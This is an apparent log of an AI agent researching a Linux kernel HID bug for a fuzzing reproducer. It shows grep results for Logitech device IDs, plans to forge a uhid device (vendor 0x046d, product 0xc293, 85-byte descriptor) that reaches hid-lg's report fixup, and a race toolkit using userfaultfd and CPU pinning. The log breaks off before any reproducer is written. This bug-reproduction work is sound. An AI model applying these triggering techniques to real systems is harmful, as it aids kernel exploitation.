drivers/hid/hid-logitech-hidpp.c:4652: HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_LOGITECH, 0xb309),
drivers/hid/hid-logitech-hidpp.c-4653- .driver_data = HIDPP_QUIRK_HIDPP_CONSUMER_VENDOR_KEYS },
drivers/hid/hid-logitech-hidpp.c-4654- { /* MX5500 keyboard over Bluetooth */
drivers/hid/hid-logitech-hidpp.c:4655: HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_LOGITECH, 0xb30b),
drivers/hid/hid-logitech-hidpp.c-4656- .driver_data = HIDPP_QUIRK_HIDPP_CONSUMER_VENDOR_KEYS },
drivers/hid/hid-logitech-hidpp.c-4657- { /* Logitech G915 TKL keyboard over Bluetooth */
drivers/hid/hid-logitech-hidpp.c:4658: HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_LOGITECH, 0xb35f) },
drivers/hid/hid-logitech-hidpp.c-4659- { /* M-RCQ142 V470 Cordless Laser Mouse over Bluetooth */
drivers/hid/hid-logitech-hidpp.c:4660: HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_LOGITECH, 0xb008) },
drivers/hid/hid-logitech-hidpp.c-4661- { /* MX Master mouse over Bluetooth */
drivers/hid/hid-logitech-hidpp.c:4662: HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_LOGITECH, 0xb012) },
drivers/hid/hid-logitech-hidpp.c-4663- { /* M720 Triathlon mouse over Bluetooth */
drivers/hid/hid-logitech-hidpp.c:4664: HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_LOGITECH, 0xb015) },
drivers/hid/hid-logitech-hidpp.c-4665- { /* MX Master 2S mouse over Bluetooth */
drivers/hid/hid-logitech-hidpp.c:4666: HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_LOGITECH, 0xb019) },
drivers/hid/hid-logitech-hidpp.c-4667- { /* MX Ergo trackball over Bluetooth */
drivers/hid/hid-logitech-hidpp.c:4668: HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_LOGITECH, 0xb01d) },
drivers/hid/hid-logitech-hidpp.c:4669: { HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_LOGITECH, 0xb01e) },
drivers/hid/hid-logitech-hidpp.c-4670- { /* MX Vertical mouse over Bluetooth */
drivers/hid/hid-logitech-hidpp.c:4671: HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_LOGITECH, 0xb020) },
drivers/hid/hid-logitech-hidpp.c-4672- { /* Signature M650 over Bluetooth */
drivers/hid/hid-logitech-hidpp.c:4673: HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_LOGITECH, 0xb02a) },
drivers/hid/hid-logitech-hidpp.c-4674- { /* MX Master 3 mouse over Bluetooth */
drivers/hid/hid-logitech-hidpp.c:4675: HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_LOGITECH, 0xb023) },
drivers/hid/hid-logitech-hidpp.c-4676- { /* MX Anywhere 3 mouse over Bluetooth */
drivers/hid/hid-logitech-hidpp.c:4677: HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_LOGITECH, 0xb025) },
drivers/hid/hid-logitech-hidpp.c-4678- { /* MX Master 3S mouse over Bluetooth */
drivers/hid/hid-logitech-hidpp.c:4679: HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_LOGITECH, 0xb034) },
drivers/hid/hid-logitech-hidpp.c-4680- { /* MX Anywhere 3S mouse over Bluetooth */
drivers/hid/hid-logitech-hidpp.c:4681: HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_LOGITECH, 0xb037) },
drivers/hid/hid-logitech-hidpp.c-4682- { /* MX Anywhere 3SB mouse over Bluetooth */
drivers/hid/hid-logitech-hidpp.c:4683: HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_LOGITECH, 0xb038) },
drivers/hid/hid-logitech-hidpp.c-4684- { /* Slim Solar+ K980 Keyboard over Bluetooth */
drivers/hid/hid-logitech-hidpp.c:4685: HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_LOGITECH, 0xb391) },
drivers/hid/hid-logitech-hidpp.c-4686- { /* MX Master 4 mouse over Bluetooth */
drivers/hid/hid-logitech-hidpp.c:4687: HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_LOGITECH, 0xb042) },
drivers/hid/hid-logitech-hidpp.c-4688- { /* Logitech Signature K650 over Bluetooth */
drivers/hid/hid-logitech-hidpp.c:4689: HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_LOGITECH, 0xb36f) },
drivers/hid/hid-logitech-hidpp.c-4690- { /* Logitech Signature K650 B2B over Bluetooth */
drivers/hid/hid-logitech-hidpp.c:4691: HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_LOGITECH, 0xb370) },
drivers/hid/hid-logitech-hidpp.c-4692- { /* Logitech Pebble Keys 2 K380S over Bluetooth */
drivers/hid/hid-logitech-hidpp.c:4693: HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_LOGITECH, 0xb377) },
drivers/hid/hid-logitech-hidpp.c-4694- { /* Logitech Casa Pop-Up Desk over Bluetooth */
drivers/hid/hid-logitech-hidpp.c:4695: HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_LOGITECH, 0xb371) },
drivers/hid/hid-logitech-hidpp.c-4696- { /* Logitech Casa Pop-Up Desk B2B over Bluetooth */
drivers/hid/hid-logitech-hidpp.c:4697: HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_LOGITECH, 0xb374) },
drivers/hid/hid-logitech-hidpp.c-4698- { /* Logitech Wave Keys over Bluetooth */
drivers/hid/hid-logitech-hidpp.c:4699: HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_LOGITECH, 0xb383) },
drivers/hid/hid-logitech-hidpp.c-4700- { /* Logitech Wave Keys B2B over Bluetooth */
drivers/hid/hid-logitech-hidpp.c:4701: HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_LOGITECH, 0xb384) },
drivers/hid/hid-logitech-hidpp.c-4702- { /* Logitech Signature Slim K950 over Bluetooth */
drivers/hid/hid-logitech-hidpp.c:4703: HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_LOGITECH, 0xb386) },
drivers/hid/hid-logitech-hidpp.c-4704- { /* Logitech Signature Slim K950 B2B over Bluetooth */
drivers/hid/hid-logitech-hidpp.c:4705: HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_LOGITECH, 0xb388) },
drivers/hid/hid-logitech-hidpp.c-4706- { /* Logitech MX Keys S over Bluetooth */
drivers/hid/hid-logitech-hidpp.c:4707: HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_LOGITECH, 0xb378) },
drivers/hid/hid-logitech-hidpp.c-4708- { /* Logitech MX Keys S B2B over Bluetooth */
drivers/hid/hid-logitech-hidpp.c:4709: HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_LOGITECH, 0xb380) },
drivers/hid/hid-logitech-hidpp.c-4710- { /* Logitech Keys-To-Go 2 over Bluetooth */
drivers/hid/hid-logitech-hidpp.c:4711: HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_LOGITECH, 0xb38c) },
drivers/hid/hid-logitech-hidpp.c-4712- { /* Logitech Pop Icon Keys over Bluetooth */
drivers/hid/hid-logitech-hidpp.c:4713: HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_LOGITECH, 0xb38f) },
drivers/hid/hid-logitech-hidpp.c-4714- { /* Logitech MX Keys Mini over Bluetooth */
drivers/hid/hid-logitech-hidpp.c:4715: HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_LOGITECH, 0xb369) },
drivers/hid/hid-logitech-hidpp.c-4716- { /* Logitech MX Keys Mini B2B over Bluetooth */
drivers/hid/hid-logitech-hidpp.c:4717: HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_LOGITECH, 0xb36e) },
drivers/hid/hid-logitech-hidpp.c-4718- { /* Logitech Signature Slim Solar+ K980 B2B over Bluetooth */
drivers/hid/hid-logitech-hidpp.c:4719: HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_LOGITECH, 0xb394) },
drivers/hid/hid-logitech-hidpp.c-4720- { /* Logitech Bluetooth Keyboard K250/K251 over Bluetooth */
drivers/hid/hid-logitech-hidpp.c:4721: HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_LOGITECH, 0xb397) },
drivers/hid/hid-logitech-hidpp.c-4722- { /* Logitech Signature Comfort K880 over Bluetooth */
drivers/hid/hid-logitech-hidpp.c:4723: HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_LOGITECH, 0xb39c) },
drivers/hid/hid-logitech-hidpp.c-4724- { /* Logitech Signature Comfort K880 B2B over Bluetooth */
drivers/hid/hid-logitech-hidpp.c:4725: HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_LOGITECH, 0xb39d) },
drivers/hid/hid-logitech-hidpp.c-4726- {}
--
drivers/hid/hid-multitouch.c=2118=static const struct hid_device_id mt_devices[] = {
--
drivers/hid/hid-multitouch.c-2389- HID_DEVICE(BUS_BLUETOOTH, HID_GROUP_MULTITOUCH_WIN_8,
drivers/hid/hid-multitouch.c:2390: USB_VENDOR_ID_LOGITECH,
drivers/hid/hid-multitouch.c-2391- USB_DEVICE_ID_LOGITECH_CASA_TOUCHPAD) },
--
drivers/hid/hid-multitouch.c-2393- HID_DEVICE(BUS_USB, HID_GROUP_MULTITOUCH_WIN_8,
drivers/hid/hid-multitouch.c:2394: USB_VENDOR_ID_LOGITECH,
drivers/hid/hid-multitouch.c-2395- USB_DEVICE_ID_LOGITECH_BOLT_RECEIVER) },
--
drivers/hid/hid-quirks.c=27=static const struct hid_device_id hid_quirks[] = {
--
drivers/hid/hid-quirks.c-136- { HID_USB_DEVICE(USB_VENDOR_ID_LENOVO, USB_DEVICE_ID_LENOVO_PIXART_USB_MOUSE_6093), HID_QUIRK_ALWAYS_POLL },
drivers/hid/hid-quirks.c:137: { HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, USB_DEVICE_ID_LOGITECH_BOLT_RECEIVER), HID_QUIRK_ALWAYS_POLL },
drivers/hid/hid-quirks.c:138: { HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, USB_DEVICE_ID_LOGITECH_C007), HID_QUIRK_ALWAYS_POLL },
drivers/hid/hid-quirks.c:139: { HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, USB_DEVICE_ID_LOGITECH_C077), HID_QUIRK_ALWAYS_POLL },
drivers/hid/hid-quirks.c:140: { HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, USB_DEVICE_ID_LOGITECH_KEYBOARD_G710_PLUS), HID_QUIRK_NOGET },
drivers/hid/hid-quirks.c:141: { HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, USB_DEVICE_ID_LOGITECH_MOUSE_C01A), HID_QUIRK_ALWAYS_POLL },
drivers/hid/hid-quirks.c:142: { HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, USB_DEVICE_ID_LOGITECH_MOUSE_C05A), HID_QUIRK_ALWAYS_POLL },
drivers/hid/hid-quirks.c:143: { HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, USB_DEVICE_ID_LOGITECH_MOUSE_C06A), HID_QUIRK_ALWAYS_POLL },
drivers/hid/hid-quirks.c-144- { HID_USB_DEVICE(USB_VENDOR_ID_MCS, USB_DEVICE_ID_MCS_GAMEPADBLOCK), HID_QUIRK_MULTI_INPUT },
--
drivers/hid/hid-quirks.c-219- { HID_USB_DEVICE(USB_VENDOR_ID_XIN_MO, USB_DEVICE_ID_XIN_MO_DUAL_ARCADE), HID_QUIRK_MULTI_INPUT },
drivers/hid/hid-quirks.c:220: { HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, USB_DEVICE_ID_LOGITECH_GROUP_AUDIO), HID_QUIRK_NOGET },
drivers/hid/hid-quirks.c-221-
--
drivers/hid/hid-quirks.c=237=static const struct hid_device_id hid_have_special_driver[] = {
--
drivers/hid/hid-quirks.c-506-#if IS_ENABLED(CONFIG_HID_LOGITECH)
drivers/hid/hid-quirks.c:507: { HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, USB_DEVICE_ID_MX3000_RECEIVER) },
drivers/hid/hid-quirks.c:508: { HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, USB_DEVICE_ID_S510_RECEIVER) },
drivers/hid/hid-quirks.c:509: { HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, USB_DEVICE_ID_LOGITECH_RECEIVER) },
drivers/hid/hid-quirks.c:510: { HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, USB_DEVICE_ID_DINOVO_DESKTOP) },
drivers/hid/hid-quirks.c:511: { HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, USB_DEVICE_ID_LOGITECH_ELITE_KBD) },
drivers/hid/hid-quirks.c:512: { HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, USB_DEVICE_ID_LOGITECH_CORDLESS_DESKTOP_LX500) },
drivers/hid/hid-quirks.c:513: { HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, USB_DEVICE_ID_LOGITECH_EXTREME_3D) },
drivers/hid/hid-quirks.c:514: { HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, USB_DEVICE_ID_LOGITECH_DUAL_ACTION) },
drivers/hid/hid-quirks.c:515: { HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, USB_DEVICE_ID_LOGITECH_WHEEL) },
drivers/hid/hid-quirks.c:516: { HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, USB_DEVICE_ID_LOGITECH_RUMBLEPAD_CORD) },
drivers/hid/hid-quirks.c:517: { HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, USB_DEVICE_ID_LOGITECH_RUMBLEPAD) },
drivers/hid/hid-quirks.c:518: { HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, USB_DEVICE_ID_LOGITECH_RUMBLEPAD2_2) },
drivers/hid/hid-quirks.c:519: { HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, USB_DEVICE_ID_LOGITECH_G29_WHEEL) },
drivers/hid/hid-quirks.c:520: { HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, USB_DEVICE_ID_LOGITECH_WINGMAN_F3D) },
drivers/hid/hid-quirks.c:521: { HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, USB_DEVICE_ID_LOGITECH_WINGMAN_FG) },
drivers/hid/hid-quirks.c:522: { HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, USB_DEVICE_ID_LOGITECH_WINGMAN_FFG) },
drivers/hid/hid-quirks.c:523: { HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, USB_DEVICE_ID_LOGITECH_FORCE3D_PRO) },
drivers/hid/hid-quirks.c:524: { HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, USB_DEVICE_ID_LOGITECH_FLIGHT_SYSTEM_G940) },
drivers/hid/hid-quirks.c:525: { HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, USB_DEVICE_ID_LOGITECH_MOMO_WHEEL) },
drivers/hid/hid-quirks.c:526: { HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, USB_DEVICE_ID_LOGITECH_MOMO_WHEEL2) },
drivers/hid/hid-quirks.c:527: { HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, USB_DEVICE_ID_LOGITECH_VIBRATION_WHEEL) },
drivers/hid/hid-quirks.c:528: { HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, USB_DEVICE_ID_LOGITECH_DFP_WHEEL) },
drivers/hid/hid-quirks.c:529: { HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, USB_DEVICE_ID_LOGITECH_DFGT_WHEEL) },
drivers/hid/hid-quirks.c:530: { HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, USB_DEVICE_ID_LOGITECH_G25_WHEEL) },
drivers/hid/hid-quirks.c:531: { HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, USB_DEVICE_ID_LOGITECH_G27_WHEEL) },
drivers/hid/hid-quirks.c:532: { HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, USB_DEVICE_ID_LOGITECH_WII_WHEEL) },
drivers/hid/hid-quirks.c:533: { HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, USB_DEVICE_ID_LOGITECH_RUMBLEPAD2) },
drivers/hid/hid-quirks.c:534: { HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, USB_DEVICE_ID_SPACETRAVELLER) },
drivers/hid/hid-quirks.c:535: { HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, USB_DEVICE_ID_SPACENAVIGATOR) },
drivers/hid/hid-quirks.c-536-#endif
drivers/hid/hid-quirks.c-537-#if IS_ENABLED(CONFIG_HID_LOGITECH_HIDPP)
drivers/hid/hid-quirks.c:538: { HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, USB_DEVICE_ID_LOGITECH_G920_WHEEL) },
drivers/hid/hid-quirks.c-539-#endif
--
drivers/hid/hid-quirks.c-708- { HID_USB_DEVICE(USB_VENDOR_ID_HARMONIX, USB_DEVICE_ID_HARMONIX_WII_RB3_MUSTANG_GUITAR) },
drivers/hid/hid-quirks.c:709: { HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_LOGITECH, USB_DEVICE_ID_LOGITECH_HARMONY_PS3) },
drivers/hid/hid-quirks.c-710- { HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_MADCATZ, USB_DEVICE_ID_MADCATZ_PS4_STRATOCASTER) },
--
drivers/hid/hid-quirks.c=1038=bool hid_ignore(struct hid_device *hdev)
--
drivers/hid/hid-quirks.c-1053- break;
drivers/hid/hid-quirks.c:1054: case USB_VENDOR_ID_LOGITECH:
drivers/hid/hid-quirks.c-1055- if (hdev->product >= USB_DEVICE_ID_LOGITECH_HARMONY_FIRST &&
--
drivers/hid/hid-sony.c=2484=static const struct hid_device_id sony_devices[] = {
--
drivers/hid/hid-sony.c-2512- /* Logitech Harmony Adapter for PS3 */
drivers/hid/hid-sony.c:2513: { HID_BLUETOOTH_DEVICE(USB_VENDOR_ID_LOGITECH, USB_DEVICE_ID_LOGITECH_HARMONY_PS3),
drivers/hid/hid-sony.c-2514- .driver_data = PS3REMOTE },
]
|
| 25/2 |
2026/05/19 10:07 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 61924
output: 29
thoughts: 42
Thoughts: Okay, here's my interpretation of that thought process, tailored for an expert audience:
**Identifying a Logitech Device ID**
Right, so the system defines `USB_VENDOR_ID_LOGITECH` as `0x046d`. Standard stuff, easy to remember. Now, I need to pinpoint the device ID for a specific Logitech peripheral – specifically, the `USB_DEVICE_ID_LOGITECH_WINGMAN_FFG`. I'm likely working on driver code or configuration files, and I need this exact device ID to properly identify and handle this particular Force Feedback game controller. It's a fundamental step in the initialization and device enumeration process. Let's dig into the headers or documentation to find that value. This'll dictate how the system interacts with the hardware.
|
| 26/2 |
2026/05/19 10:07 |
tool |
grepper |
0m
Args: map[Expression:USB_DEVICE_ID_LOGITECH_WINGMAN_FFG]
Results: map[Output:drivers/hid/hid-ids.h-939-#define USB_DEVICE_ID_LOGITECH_WINGMAN_FG 0xc20e
drivers/hid/hid-ids.h:940:#define USB_DEVICE_ID_LOGITECH_WINGMAN_FFG 0xc293
drivers/hid/hid-ids.h-941-#define USB_DEVICE_ID_LOGITECH_WHEEL 0xc294
--
drivers/hid/hid-lg.c=430=static const __u8 *lg_report_fixup(struct hid_device *hdev, __u8 *rdesc,
--
drivers/hid/hid-lg.c-464-
drivers/hid/hid-lg.c:465: case USB_DEVICE_ID_LOGITECH_WINGMAN_FFG:
drivers/hid/hid-lg.c-466- if (*rsize == FFG_RDESC_ORIG_SIZE) {
--
drivers/hid/hid-lg.c=681=static int lg_input_mapped(struct hid_device *hdev, struct hid_input *hi,
--
drivers/hid/hid-lg.c-701- case USB_DEVICE_ID_LOGITECH_WINGMAN_FG:
drivers/hid/hid-lg.c:702: case USB_DEVICE_ID_LOGITECH_WINGMAN_FFG:
drivers/hid/hid-lg.c-703- case USB_DEVICE_ID_LOGITECH_WHEEL:
--
drivers/hid/hid-lg.c=859=static const struct hid_device_id lg_devices[] = {
--
drivers/hid/hid-lg.c-910- .driver_data = LG_NOGET },
drivers/hid/hid-lg.c:911: { HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, USB_DEVICE_ID_LOGITECH_WINGMAN_FFG),
drivers/hid/hid-lg.c-912- .driver_data = LG_NOGET | LG_FF4 },
--
drivers/hid/hid-lg4ff.c=131=static const struct lg4ff_wheel lg4ff_devices[] = {
drivers/hid/hid-lg4ff.c-132- {USB_DEVICE_ID_LOGITECH_WINGMAN_FG, no_wheel_effects, 40, 180, NULL},
drivers/hid/hid-lg4ff.c:133: {USB_DEVICE_ID_LOGITECH_WINGMAN_FFG, lg4ff_wheel_effects, 40, 180, NULL},
drivers/hid/hid-lg4ff.c-134- {USB_DEVICE_ID_LOGITECH_WHEEL, lg4ff_wheel_effects, 40, 270, NULL},
--
drivers/hid/hid-lg4ff.c=326=int lg4ff_raw_event(struct hid_device *hdev, struct hid_report *report,
--
drivers/hid/hid-lg4ff.c-342- case USB_DEVICE_ID_LOGITECH_WINGMAN_FG:
drivers/hid/hid-lg4ff.c:343: case USB_DEVICE_ID_LOGITECH_WINGMAN_FFG:
drivers/hid/hid-lg4ff.c-344- case USB_DEVICE_ID_LOGITECH_MOMO_WHEEL:
--
drivers/hid/hid-quirks.c=237=static const struct hid_device_id hid_have_special_driver[] = {
--
drivers/hid/hid-quirks.c-521- { HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, USB_DEVICE_ID_LOGITECH_WINGMAN_FG) },
drivers/hid/hid-quirks.c:522: { HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, USB_DEVICE_ID_LOGITECH_WINGMAN_FFG) },
drivers/hid/hid-quirks.c-523- { HID_USB_DEVICE(USB_VENDOR_ID_LOGITECH, USB_DEVICE_ID_LOGITECH_FORCE3D_PRO) },
]
|
| 27/2 |
2026/05/19 10:07 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 63222
output: 23
thoughts: 35
Thoughts: Okay, here's my interpretation of those thoughts, tailored for an expert audience:
**Analyzing a Potential Bug Related to `lg_report_fixup`**
Right, so I'm looking at this address, `0xc293`. Something seems off... and then I remember seeing a check in `lg_report_fixup`. It specifically compares `*rsize` to `FFG_RDESC_ORIG_SIZE`. It seems like I need to dig into the relationship between those variables, and look at the control flow around them. Potentially, I'm thinking I need to find the definition of `rsize` and `FFG_RDESC_ORIG_SIZE`, and how they are used/initialized, and why it's critical for this check. The connection between `0xc293` and that check is probably going to be the key to understanding the issue. I have a hunch this is a bug, and that specific check is the smoking gun.
|
| 28/2 |
2026/05/19 10:07 |
tool |
grepper |
0m
Args: map[Expression:FFG_RDESC_ORIG_SIZE]
Results: map[Output:drivers/hid/hid-lg.c-48-#define MOMO2_RDESC_ORIG_SIZE 87
drivers/hid/hid-lg.c:49:#define FFG_RDESC_ORIG_SIZE 85
drivers/hid/hid-lg.c-50-#define FG_RDESC_ORIG_SIZE 82
--
drivers/hid/hid-lg.c=430=static const __u8 *lg_report_fixup(struct hid_device *hdev, __u8 *rdesc,
--
drivers/hid/hid-lg.c-465- case USB_DEVICE_ID_LOGITECH_WINGMAN_FFG:
drivers/hid/hid-lg.c:466: if (*rsize == FFG_RDESC_ORIG_SIZE) {
drivers/hid/hid-lg.c-467- hid_info(hdev,
]
|
| 29/2 |
2026/05/19 10:07 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 63716
output: 16
thoughts: 100
Thoughts: **Analyzing HID Device Binding and Report Descriptors**
Okay, so I've deduced that `rsize` needs to be set to 85. If I configure a `uhid` device with `vendor=0x046d`, `product=0xc293`, and crucially, that `rsize=85`, then `hid-lg` *should* bind to it. The expectation is that this setup will trigger `lg_report_fixup` to dynamically allocate a fresh `rdesc`. The underlying premise here is that `uhid` grants us the ability to inject a virtual device into the system. My next line of inquiry has to be, how do I actually leverage the `uhid` interface effectively? I need to understand the usage details to make this happen.
|
| 30/2 |
2026/05/19 10:07 |
tool |
get-toolkit |
0m
Args:
Results: map[Toolkit:// Copyright 2026 syzkaller project authors. All rights reserved.
// Use of this source code is governed by Apache 2 LICENSE that can be found in the LICENSE file.
// IMPORTANT: Do not copy the macros or definitions below directly into your reproducer.
// Instead, add the following line to your reproducer:
// #include "race_toolkit.h"
// --- Race Condition Toolkit ---
// Macros and snippets for CPU pinning, memory barriers, and userfaultfd.
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <linux/futex.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <unistd.h>
// Unbuffered I/O: Ensure logs are written immediately.
#define SETUP_UNBUFFERED_IO() setvbuf(stdout, NULL, _IONBF, 0)
// CPU Pinning: Pin the current thread to a specific CPU core.
#define PIN_TO_CPU(cpu) \
do { \
cpu_set_t mask; \
CPU_ZERO(&mask); \
CPU_SET(cpu, &mask); \
if (sched_setaffinity(0, sizeof(mask), &mask) == -1) { \
perror("sched_setaffinity"); \
} \
} while (0)
// Memory Barrier: Ensure memory ordering.
#define MB() __atomic_thread_fence(__ATOMIC_SEQ_CST)
// Spin-wait Barrier: Wait until a memory location has a specific value.
// Best for tight race windows (low latency, no context switches).
#define WAIT_ON(addr, val) \
do { \
while (__atomic_load_n(addr, __ATOMIC_ACQUIRE) != (val)) \
; \
} while (0)
// Signal: Set a memory location to a specific value to release a WAIT_ON.
#define SIGNAL(addr, val) __atomic_store_n(addr, val, __ATOMIC_RELEASE)
// Futex-based Event: Shared with syzkaller executor.
// Best for general synchronization or longer waits to save CPU.
typedef struct {
int state;
} event_t;
static void event_init(event_t* ev)
{
ev->state = 0;
}
static void event_reset(event_t* ev)
{
ev->state = 0;
}
static void event_set(event_t* ev)
{
if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE)) {
fprintf(stderr, "event already set\n");
exit(1);
}
__atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE);
syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000);
}
static void event_wait(event_t* ev)
{
while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0);
}
// userfaultfd setup: Register a memory range for page fault handling.
static int setup_uffd(void* addr, size_t len)
{
int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
return -1;
struct uffdio_api api = {.api = UFFD_API, .features = 0};
if (ioctl(uffd, UFFDIO_API, &api) == -1) {
close(uffd);
return -1;
}
struct uffdio_register reg = {
.range = {.start = (uintptr_t)addr, .len = len},
.mode = UFFDIO_REGISTER_MODE_MISSING};
if (ioctl(uffd, UFFDIO_REGISTER, ®) == -1) {
close(uffd);
return -1;
}
return uffd;
}
// --- Guidance on Usage ---
// 1. Use WAIT_ON/SIGNAL for tight race conditions to avoid scheduling overhead.
// 2. Use event_t (futexes) for general coordination or when waiting for longer periods.
// 3. Always use PIN_TO_CPU to increase race probability on multi-core systems.
// 4. Use setup_uffd to register a memory range for page fault handling. This allows you to
// pause a thread accessing that memory until you handle the fault, creating a reliable
// and controllable race window.
// 5. Call SETUP_UNBUFFERED_IO() at the start of main() to ensure that logs are printed
// immediately. This is essential for understanding the exact interleaving of events
// when debugging race conditions.
]
|
| 31/2 |
2026/05/19 10:07 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 65266
output: 44
thoughts: 371
Thoughts: **Creating a Virtual HID Device with uhid**
Okay, so I'm thinking about how to spin up a virtual HID device using `uhid` within the kernel. The basic idea is to open the `/dev/uhid` device node with `O_RDWR`. Then, construct a `uhid_event` struct. Initially, I was going to use `UHID_CREATE` to create the device. I'd populate the struct with the device's name ("test-uhid" in this example), the report descriptor data, its size (85 bytes in the example), the bus type (likely `BUS_USB`), vendor and product IDs (0x046d and 0xc293 here), and version and country code. The `write()` system call would then send this event to `/dev/uhid` to create the device.
Wait a second. I believe `UHID_CREATE` is somewhat deprecated now, isn't it? Let me just confirm that… Right, I need to use `UHID_CREATE2` instead. Everything else is identical: populate the `uhid_event` struct with the device name, report descriptor data, its size, the bus type, vendor and product IDs, version, and country code. Then, send this event to `/dev/uhid` to create the device. It's a slightly different struct member (`u.create2` instead of `u.create`), but the concept's the same. Now, I should probably double-check the definition of the `uhid_event` struct to make sure I'm not missing anything crucial.
|
| 32/2 |
2026/05/19 10:07 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:include/uapi/linux/uhid.h IncludeLines:true Name:uhid_event]
Results: map[SourceCode: 180: struct uhid_event {
181: __u32 type;
182:
183: union {
184: struct uhid_create_req create;
185: struct uhid_input_req input;
186: struct uhid_output_req output;
187: struct uhid_output_ev_req output_ev;
188: struct uhid_feature_req feature;
189: struct uhid_get_report_req get_report;
190: struct uhid_feature_answer_req feature_answer;
191: struct uhid_get_report_reply_req get_report_reply;
192: struct uhid_create2_req create2;
193: struct uhid_input2_req input2;
194: struct uhid_set_report_req set_report;
195: struct uhid_set_report_reply_req set_report_reply;
196: struct uhid_start_req start;
197: } u;
198: } __attribute__((__packed__));
SourceFile:include/uapi/linux/uhid.h]
|
| 33/2 |
2026/05/19 10:07 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 66373
output: 47
thoughts: 10
Thoughts: Okay, here's my interpretation of that thought process, tailored for an expert audience, and written in the first person:
**Deep Dive on `uhid_create2_req`**
